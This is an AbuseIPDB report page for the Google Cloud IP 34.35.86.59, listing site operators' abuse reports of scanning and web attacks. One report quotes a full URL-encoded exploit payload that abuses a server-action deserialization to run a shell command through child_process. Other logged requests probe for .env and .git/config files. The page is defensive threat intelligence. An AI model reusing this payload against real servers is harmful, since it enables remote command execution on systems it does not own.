JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 34.35.86.59

34.35.86.59 was found in our database!

This IP was reported 28 times. Confidence of Abuse is 100%: ?

100%

ISP	Google LLC
Usage Type	Data Center/Web Hosting/Transit
ASN	AS396982
Hostname(s)	59.86.35.34.bc.googleusercontent.com
Domain Name	google.com
Country	🇿🇦 South Africa
City	Johannesburg, Gauteng

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 34.35.86.59

Whois 34.35.86.59

IP Abuse Reports for 34.35.86.59:

This IP address has been reported a total of 28 times from 23 distinct sources. 34.35.86.59 was first reported on September 10th 2026, and the most recent report was 1 hour ago.

Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇺🇦 URAN Publishing Service	2026-09-11 19:40:27 (1 hour ago)	[11/Sep/2026:22:40:26 +0300] -- 34.35.86.59 Ban reason: Scanner [CMS_GENERIC] \| Request: GET /.git/c ... show more [11/Sep/2026:22:40:26 +0300] -- 34.35.86.59 Ban reason: Scanner [CMS_GENERIC] \| Request: GET /.git/config HTTP/1.1 show less	Bad Web Bot Web App Attack
🇺🇦 Olexiy Backend	2026-09-11 19:00:27 (1 hour ago)	34.35.86.59 ...	Bad Web Bot Web App Attack
🇳🇱 Site.eu	2026-09-11 18:39:55 (2 hours ago)	Excessive 404/403 errors	Brute-Force
🇺🇸 kosada.com	2026-09-11 16:54:15 (3 hours ago)	Repeated requests for suspicious nonexistent URLs, for example: /.env.staging (HTTP/1.1 port 443, us ... show more Repeated requests for suspicious nonexistent URLs, for example: /.env.staging (HTTP/1.1 port 443, user agent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36") show less	Web App Attack
🇺🇸 kosada.com	2026-09-11 16:54:11 (3 hours ago)	Repeated exploit attempts, for example: / 1%5f%24ACTION%5fID%5fvercel=%22%22&0=%7b%22then%22%3a+%22% ... show more Repeated exploit attempts, for example: / 1%5f%24ACTION%5fID%5fvercel=%22%22&0=%7b%22then%22%3a+%22%241%3a%5f%5fproto%5f%5f%3athen%22%2c+%22status%22%3a+%22resolved%5fmodel%22%2c+%22reason%22%3a+%2d1%2c+%22value%22%3a+%22%7b%5c%22then%5c%22%3a%5c%22%24B1337%5c%22%7d%22%2c+%22%5fresponse%22%3a+%7b%22%5fprefix%22%3a+%22var+res%3dprocess%2emainModule%2erequire%28%27child%5fprocess%27%29%2eexecSync%28%27echo+%24%28%2841*271%29%29+%7c+base64+%2dw+0%27%29%2etoString%28%29%2etrim%28%29%3b%3bthrow+Object%2eassign%28new+Error%28%27NEXT%5fREDIRECT%27%29%2c%7bdigest%3a+%60NEXT%5fREDIRECT%3bpush%3b%2flogin%3fa%3d%24%7bres%7d%3b307%3b%60%7d%29%3b%22%2c+%22%5fchunks%22%3a+%22%24Q2%22%2c+%22%5fformData%22%3a+%7b%22get%22%3a+%22%241%3aconstructor%3aconstructor%22%7d%7d%7d&1=%22%24%400%22&2=%5b%5d (HTTP/1.1 port 443, user agent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36") show less	Web App Attack
🇫🇮 as211431.net	2026-09-11 16:15:10 (4 hours ago)	Triggered Cloudflare WAF (linkMaze) from ZA. Action taken: LINK_MAZE_INJECTED Protocol: HTTP/1.1 (GE ... show more Triggered Cloudflare WAF (linkMaze) from ZA. Action taken: LINK_MAZE_INJECTED Protocol: HTTP/1.1 (GET method) Endpoint: / UA: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 This report was generated by: https://github.com/sefinek/Cloudflare-WAF-To-AbuseIPDB show less	Bad Web Bot
🇺🇸 TPI-Abuse	2026-09-11 15:55:51 (4 hours ago)	(mod_security) mod_security (id:210492) triggered by 34.35.86.59 (59.86.35.34.bc.googleusercontent.c ... show more (mod_security) mod_security (id:210492) triggered by 34.35.86.59 (59.86.35.34.bc.googleusercontent.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Fri Sep 11 11:55:43.435273 2026] [security2:error] [pid 16725:tid 16725] [client 34.35.86.59:43972] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "nutshell.tag-scaffolding.com"] [uri "/.git/config"] [unique_id "aqQkfwoeiqCoK54i4lbDAAAAAAc"] show less	Brute-Force Bad Web Bot Web App Attack
🇸🇪 vaia.cloud	2026-09-11 14:45:02 (6 hours ago)	crowdsecurity/http-admin-interface-probing	Brute-Force Web App Attack
🇫🇷 dynamix	2026-09-11 13:32:32 (7 hours ago)	Multiple WAF Violations	Web App Attack
Anonymous	2026-09-11 13:06:39 (7 hours ago)	[da.kdns.gr] httpd-config-scan: sites=www.nutrijourney.gr; logs=/var/log/httpd/domains/nutrijourney. ... show more [da.kdns.gr] httpd-config-scan: sites=www.nutrijourney.gr; logs=/var/log/httpd/domains/nutrijourney.gr.log; samples=/.git/config \| /.env \| /.env.local show less	Hacking Web App Attack
🇪🇸 robotstxt	2026-09-11 12:32:04 (8 hours ago)	34.35.86.59 - - [11/Sep/2026:12:31:00 +0000] "POST / HTTP/1.1" 403 11896 "-" "Mozilla/5.0 (Windows N ... show more 34.35.86.59 - - [11/Sep/2026:12:31:00 +0000] "POST / HTTP/1.1" 403 11896 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" "-" edge="34.35.86.59" 34.35.86.59 - - [11/Sep/2026:12:31:00 +0000] "POST / HTTP/1.1" 403 11896 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" "-" edge="34.35.86.59" 34.35.86.59 - - [11/Sep/2026:12:31:00 +0000] "GET /.git/config HTTP/1.1" 403 12024 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" "-" edge="34.35.86.59" 34.35.86.59 - - [11/Sep/2026:12:31:01 +0000] "GET /.env HTTP/1.1" 403 12024 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" "-" edge="34.35.86.59" 34.35.86.59 - - [11/Sep/2026:12:31:01 +0000] "GET /.env.local HTTP/1.1" 403 12024 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Ap ... show less	Web App Attack
🇪🇸 scaballe	2026-09-11 11:19:28 (9 hours ago)		Web App Attack
🇺🇸 TPI-Abuse	2026-09-11 09:53:40 (10 hours ago)	(mod_security) mod_security (id:210492) triggered by 34.35.86.59 (59.86.35.34.bc.googleusercontent.c ... show more (mod_security) mod_security (id:210492) triggered by 34.35.86.59 (59.86.35.34.bc.googleusercontent.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Fri Sep 11 05:53:37.101788 2026] [security2:error] [pid 31415:tid 31415] [client 34.35.86.59:53318] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "120"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "nutandboltguy.com"] [uri "/.git/config"] [unique_id "aqPPoSTHLLSVqcR660658gAAAAw"] show less	Brute-Force Bad Web Bot Web App Attack
Anonymous	2026-09-11 07:15:17 (13 hours ago)	Web application attack detected.	Web App Attack
🇫🇷 masterguru	2026-09-11 05:19:51 (15 hours ago)	Remote Command Execution: Unix Command Injection (command without evasion). Pattern match "(?i)(?:b ... show more Remote Command Execution: Unix Command Injection (command without evasion). Pattern match "(?i)(?:b (932235-195) show less	Hacking

Showing 1 to 15 of 28 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇧🇷 138.94.139.134

🇪🇬 156.197.229.30

🇺🇸 143.14.6.15

🇷🇺 81.200.24.99

🇧🇷 45.5.242.110

🇨🇳 8.137.166.131

🇭🇰 152.32.189.121

🇮🇳 115.246.242.2

🇧🇬 109.160.32.70

🇺🇸 103.143.10.140

🇸🇬 74.63.20.236

🇭🇰 45.64.75.227

🇺🇸 20.171.10.214

🇺🇸 195.184.76.193

🇭🇰 152.32.170.55

🇭🇰 152.32.128.149

🇨🇳 101.200.243.197

🇷🇺 83.169.241.21

🇳🇱 20.229.185.186

🇺🇸 162.216.149.231